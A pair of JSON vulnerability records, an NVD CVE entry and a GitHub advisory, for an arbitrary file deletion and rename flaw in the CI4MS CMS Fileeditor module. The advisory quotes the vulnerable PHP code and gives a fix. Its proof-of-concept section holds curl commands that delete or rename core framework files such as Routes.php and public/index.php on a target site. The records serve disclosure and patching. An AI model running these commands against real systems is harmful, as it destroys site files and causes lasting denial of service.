{
  "affected": [
    {
      "affectedData": [
        {
          "product": "ci4ms",
          "vendor": "ci4-cms-erp",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.31.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "CI4MS is a CodeIgniter 4-based content management system skeleton. Prior to version 0.31.9.0, the Fileeditor module enforces an extension allowlist (`[\u0027css\u0027,\u0027js\u0027,\u0027html\u0027,\u0027txt\u0027,\u0027json\u0027,\u0027sql\u0027,\u0027md\u0027]`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints \u2014 `deleteFileOrFolder` and `renameFile` \u2014 never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover. Version 0.31.9.0 patches the issue."
    }
  ],
  "id": "CVE-2026-45139",
  "lastModified": "2026-07-21T20:27:18.523",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45139",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T16:40:29.784246Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T15:16:38.020",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-245j-xjvr-xvm5"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-245j-xjvr-xvm5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:21:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Fileeditor module enforces an extension allowlist (`[\u0027css\u0027,\u0027js\u0027,\u0027html\u0027,\u0027txt\u0027,\u0027json\u0027,\u0027sql\u0027,\u0027md\u0027]`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints \u2014 `deleteFileOrFolder` and `renameFile` \u2014 never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.\n\n## Details\n\nRoot cause: inconsistent application of the extension allowlist across Fileeditor operations in `modules/Fileeditor/Controllers/Fileeditor.php`.\n\nThe class declares an allowlist used by content-write operations:\n\n```php\n// modules/Fileeditor/Controllers/Fileeditor.php:9\nprotected $allowedExtensions = [\u0027css\u0027, \u0027js\u0027, \u0027html\u0027, \u0027txt\u0027, \u0027json\u0027, \u0027sql\u0027, \u0027md\u0027];\n\n// line 239\nprivate function allowedFileTypes(string $file): bool\n{\n    $extension = pathinfo($file, PATHINFO_EXTENSION);\n    if (!in_array(strtolower($extension), $this-\u003eallowedExtensions)) {\n        return false;\n    }\n    return true;\n}\n```\n\n`saveFile` (line 110) and `createFile` (line 167) correctly call `allowedFileTypes()` against the target path before writing. The two destructive endpoints do not:\n\n```php\n// deleteFileOrFolder \u2014 modules/Fileeditor/Controllers/Fileeditor.php:210-237\npublic function deleteFileOrFolder()\n{\n    $valData = ([\n        \u0027path\u0027 =\u003e [\u0027label\u0027 =\u003e \u0027\u0027, \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \\-\\.\\/]+$/]\u0027],\n    ]);\n    if ($this-\u003evalidate($valData) == false) return $this-\u003efail($this-\u003evalidator-\u003egetErrors());\n    $path = $this-\u003erequest-\u003egetVar(\u0027path\u0027);\n    if ($this-\u003eisHiddenPath($path)) {\n        return $this-\u003efailForbidden();\n    }\n    $fullPath = realpath(ROOTPATH . $path);\n\n    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this-\u003eresponse-\u003esetJSON([\u0027error\u0027 =\u003e lang(\u0027Fileeditor.invalidFileOrFolder\u0027)])-\u003esetStatusCode(400);\n    }\n\n    if (is_dir($fullPath)) {\n        $result = rmdir($fullPath);\n    } else {\n        $result = unlink($fullPath);   // executes on ANY extension\n    }\n    ...\n}\n```\n\n```php\n// renameFile \u2014 modules/Fileeditor/Controllers/Fileeditor.php:123-151\npublic function renameFile()\n{\n    ...\n    $path = $this-\u003erequest-\u003egetVar(\u0027path\u0027);\n    if ($this-\u003eisHiddenPath($path)) {\n        return $this-\u003efailForbidden();\n    }\n    $newName = $this-\u003erequest-\u003egetVar(\u0027newName\u0027);\n    $fullPath = realpath(ROOTPATH . $path);\n    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;\n\n    if (!$this-\u003eallowedFileTypes($newName))   // \u003c\u2014 only the destination is checked\n        return $this-\u003efailForbidden();\n    ...\n    if (rename($fullPath, $newPath)) { ... }   // source extension never validated\n}\n```\n\nThe validation gauntlet a path traverses before reaching `unlink()`/`rename()`:\n\n1. **Regex** `/^[a-zA-Z0-9_ \\-\\.\\/]+$/` \u2014 admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches `app/Config/Routes.php` trivially).\n2. **`isHiddenPath()`** \u2014 only blocks paths whose individual segments equal an entry in `$hiddenItems`:\n\n```php\n// modules/Fileeditor/Controllers/Fileeditor.php:10-26\nprotected $hiddenItems = [\n    \u0027.git\u0027, \u0027.github\u0027, \u0027.idea\u0027, \u0027.vscode\u0027, \u0027node_modules\u0027, \u0027vendor\u0027,\n    \u0027writable\u0027, \u0027.env\u0027, \u0027env\u0027, \u0027composer.json\u0027, \u0027composer.lock\u0027,\n    \u0027tests\u0027, \u0027spark\u0027, \u0027phpunit.xml.dist\u0027, \u0027preload.php\u0027\n];\n```\n\n   Critical CodeIgniter 4 framework files (`app`, `Config`, `Routes.php`, `App.php`, `Database.php`, `Filters.php`, `public`, `index.php`, `.htaccess`) are **not** members of this list, so they pass.\n\n3. **`realpath` + `strpos` containment** \u2014 confirms the resolved path is inside `ROOTPATH`. Routes.php, etc., are inside ROOTPATH and pass.\n\n4. **Sink** \u2014 `unlink()` or `rename()` runs unconditionally; no extension allowlist applied.\n\nThe recent security patch in commit `379ebb6` (\"Security: patch critical vulnerabilities and bump to v0.31.4.0\") added `isHiddenPath()` invocations to every endpoint, addressing the previous `.env` reachability. It did **not** address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).\n\nAuthorization is provided by the `backendGuard` filter (`modules/Fileeditor/Config/FileeditorConfig.php:12-17`) routing through `Modules\\Auth\\Filters\\Ci4MsAuthFilter`, which requires the role permission `fileeditor.delete` for `deleteFileOrFolder` and `fileeditor.update` for `renameFile`. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor\u0027s apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).\n\n## PoC\n\nPrerequisites: an authenticated session with `fileeditor.delete` (or `superadmin`) for step 1, and `fileeditor.update` for step 2. The application is mounted under `backend/`, not `admin/`.\n\n```bash\n# 1) Arbitrary file deletion (no extension check at all)\ncurl -X POST \u0027https://target/backend/fileeditor/deleteFileOrFolder\u0027 \\\n  -H \u0027Cookie: ci_session=\u003cadmin\u003e\u0027 \\\n  --data-urlencode \u0027path=app/Config/Routes.php\u0027\n# -\u003e {\"success\": true}\n# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.\n\n# Equivalently catastrophic targets (none of these segments are in $hiddenItems):\n#   path=public/index.php           (front controller \u2014 entire app dead)\n#   path=app/Config/App.php         (core app config)\n#   path=app/Config/Database.php    (DB config)\n#   path=app/Config/Filters.php     (auth/CSRF filters)\n#   path=public/.htaccess           (rewrite + security rules)\n\n# 2) Rename .php to neutralize the file without checking the source extension\ncurl -X POST \u0027https://target/backend/fileeditor/renameFile\u0027 \\\n  -H \u0027Cookie: ci_session=\u003cadmin\u003e\u0027 \\\n  --data-urlencode \u0027path=app/Config/Routes.php\u0027 \\\n  --data-urlencode \u0027newName=Routes.txt\u0027\n# -\u003e {\"success\": true}\n# Routes.php disappears, becomes Routes.txt. Routing dies on next request.\n```\n\nTrace verifying the validation logic for `path=app/Config/Routes.php`:\n\n- Regex `/^[a-zA-Z0-9_ \\-\\.\\/]+$/` \u2014 matches.\n- `isHiddenPath(\u0027app/Config/Routes.php\u0027)` \u2014 segments `[\u0027app\u0027,\u0027Config\u0027,\u0027Routes.php\u0027]`, none in `$hiddenItems` \u2192 returns `false`.\n- `realpath(ROOTPATH . \u0027app/Config/Routes.php\u0027)` \u2014 resolves inside ROOTPATH, containment check passes.\n- `unlink($fullPath)` (deleteFileOrFolder, line 229) or `rename($fullPath, $newPath)` (renameFile, line 146) executes \u2014 no extension allowlist applied.\n\n## Impact\n\nA backend user holding the Fileeditor `delete` or `update` permission can:\n\n- Delete or neutralize the front controller (`public/index.php`), routing config (`app/Config/Routes.php`), database config (`app/Config/Database.php`), filter pipeline (`app/Config/Filters.php`), web-server rules (`public/.htaccess`), or any other framework file inside the project root.\n- Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app \"restore\" \u2014 recovery requires filesystem access (redeploy, git checkout, or backup restore).\n- Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small `$hiddenItems` blocklist.\n\nThe destructive surface exceeds Fileeditor\u0027s intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what `fileeditor.delete` plausibly authorizes for non-superadmin role holders.\n\nThe path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.\n\n## Recommended Fix\n\nApply the same `allowedFileTypes()` allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing `realpath` containment check:\n\n```php\n// In deleteFileOrFolder, after line 224:\nif (!is_dir($fullPath) \u0026\u0026 !$this-\u003eallowedFileTypes($fullPath)) {\n    return $this-\u003efailForbidden();\n}\n\n// In renameFile, alongside the existing $newName check at line 139:\nif (!$this-\u003eallowedFileTypes($fullPath) || !$this-\u003eallowedFileTypes($newName)) {\n    return $this-\u003efailForbidden();\n}\n```\n\nStronger hardening \u2014 and aligned with the editor\u0027s apparent intent \u2014 is to confine all Fileeditor operations to a directory allowlist (e.g. `public/templates/`, `public/uploads/`) rather than the entire `ROOTPATH`, and to extend `$hiddenItems` (or replace it with a denylist of full path prefixes) so that `app/Config`, `public/index.php`, `public/.htaccess`, and similar framework artefacts cannot be reached even by symlink or alternate casing.",
  "id": "GHSA-245j-xjvr-xvm5",
  "modified": "2026-05-18T16:21:17Z",
  "published": "2026-05-18T16:21:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-245j-xjvr-xvm5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations"
}